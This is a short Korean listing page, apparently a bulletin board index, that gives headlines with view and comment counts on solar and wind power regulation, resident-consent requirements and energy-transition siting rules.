조회: 15 | 댓글: 0

주민동의요건 등 태양광 규제입법 쏟아지나

조회: 10 | 댓글: 0

주민동의요건 등 태양광 규제입법 쏟아지나

조회: 19 | 댓글: 0

규제에 막혀... ‘탈원전 속도’ 못 따라가는 신재생에너지

조회: 16 | 댓글: 0

에너지전환의 조건, 태양광 풍력 입지규제 합리화 방안 모색 토론회

조회: 90 | 댓글: 0